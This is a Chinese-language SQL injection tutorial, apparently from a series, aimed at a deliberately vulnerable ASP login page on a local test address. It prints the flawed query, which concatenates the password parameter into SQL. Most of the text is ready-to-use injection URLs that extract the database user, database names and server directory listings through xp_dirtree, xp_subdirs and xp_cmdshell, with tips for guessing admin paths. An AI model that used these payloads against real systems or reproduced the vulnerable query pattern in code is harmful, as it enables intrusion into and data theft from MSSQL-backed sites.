使用的程序仍然是系列注射教程之一的漏洞程序,漏洞语句:
sql2="select * from bbsuser where username='admin' and password='"&request("password")&"'"
http://192.168.0.9:3005/test/f.asp?password=888888' and 0<>user_name()-- 看数据库权限
http://192.168.0.9:3005/test/f.asp?password=888888' and 0<>db_name()-- 当前数据库名
http://192.168.0.9:3005/test/f.asp?password=888888' and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)----得其它数据库名
一、暴目录的第一种方法
xp_dirtree适用权限PUBLIC
exec master.dbo.xp_dirtree 'c:/'
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段
http://192.168.0.9:3005/test/f.asp?password=888888' create table dirs(paths varchar(100), id int)--
http://192.168.0.9:3005/test/f.asp?password=888888' insert dirs exec master.dbo.xp_dirtree 'c:/'--
http://192.168.0.9:3005/test/f.asp?password=888888' and 0<>(select top 1 paths from dirs)--
http://192.168.0.9:3005/test/f.asp?password=888888' and 0<>(select top 1 paths from dirs where paths not in('winnt'))--
http://192.168.0.9:3005/test/f.asp?password=888888' and 0<>(select top 1 paths from dirs where paths not in('winnt','system32'))--
这种方法发现暴目录是将所有目录包括子目录都暴出来,像winnt下有很多子目录全部暴出来,不实用,一个一个查要累死。结合下面的方法只暴目录
二、暴目录的第二种方法
必须是sa权限才可以用xp_subdirs对像
http://192.168.0.9:3005/test/f.asp?password=88'create table temp(id nvarchar(255));--
http://192.168.0.9:3005/test/f.asp?password=88'insert into temp(id) exec master.dbo.xp_subdirs 'c:/';--
http://192.168.0.9:3005/test/f.asp?password=88' and 0<>(select top 1 id from temp)--
三、
不过你们想到了没有,可以将目录树写在表里然后用NBSI暴出表值。就可以得到全部目录列表。可以用来猜到管理后台目录。然后再用
exec master.dbo.xp_dirtree 'c:/查到的目录名'就可以猜文件名了。当然,你结合exec master.dbo.xp_cmdshell 'dir 目录'也可以猜出文件名。